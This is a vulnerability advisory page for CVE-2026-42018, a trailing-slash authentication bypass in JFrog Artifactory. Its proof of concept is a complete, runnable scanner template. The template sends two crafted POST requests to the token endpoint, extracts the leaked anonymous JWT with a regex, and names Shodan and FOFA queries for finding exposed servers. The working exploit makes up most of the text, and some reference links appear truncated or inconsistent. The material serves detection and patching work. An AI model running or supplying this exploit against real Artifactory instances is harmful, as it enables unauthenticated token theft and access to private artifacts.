CVE-2026-42018: JFrog Artifactory - Anonymous Token Disclosure via Trailing Slash Auth Bypass

2026-09-21 Unknown PoC Public

Description

JFrog Artifactory contains an information disclosure caused by returning an internal anonymous-user token to unauthenticated callers when anonymous access is disabled, letting unauthenticated attackers access sensitive resources. The exploit requires anonymous access to be disabled.

PoC

id: CVE-2026-42018

info:
  name: JFrog Artifactory - Anonymous Token Disclosure via Trailing Slash Auth Bypass
  author: theamanrawat
  severity: high
  description: |
    JFrog Artifactory contains an information disclosure caused by returning an internal anonymous-user token to unauthenticated callers when anonymous access is disabled, letting unauthenticated attackers access sensitive resources. The exploit requires anonymous access to be disabled.
  impact: |
    Unauthenticated attackers can access sensitive resources by obtaining internal tokens, potentially leading to information disclosure.
  remediation: |
    Update to the latest version where this issue is fixed.
  reference:
    - https://docs.jfrog.com/releases/docs/jfrog-security-advisories
    - https://www.wiz.io/blog/artifactory-under-attack-in-the-wild-exploitation-of-cve-2026-42016-cve-2026-4201
    - https://github.com/BL0odz/JFrog_CVE-2026-65615-ByGLM
    - https://edrabb.fr/posts/full-chain-preauth-rce-jfrog-artifactory/
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-42018
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-42018
    epss-score: 0.11038
    epss-percentile: 0.95772
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.title:"jfrog"
    fofa-query: title="jfrog"
  tags: cve,cve2026,jfrog,artifactory,auth-bypass,disclosure,kev,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /access/api/v1/aws/token HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 401'
        internal: true

  - raw:
      - |
        POST /access/api/v1/aws/token/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "access_token") && contains(body, "anonymous")'
          - 'status_code == 200'
        condition: and

    extractors:
      - type: regex
        name: anonymous-jwt-token
        part: body
        regex:
          - 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+'
# digest: 4a0a00473045022100e4aed53dedb59f1df0e12fbc76143ed29b54264fba375536d3ed874497bc471102201890e1c2cec63ee1a8f0a6c39f0b0aca29096bf0e78227b9592e4a9b0509b939:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.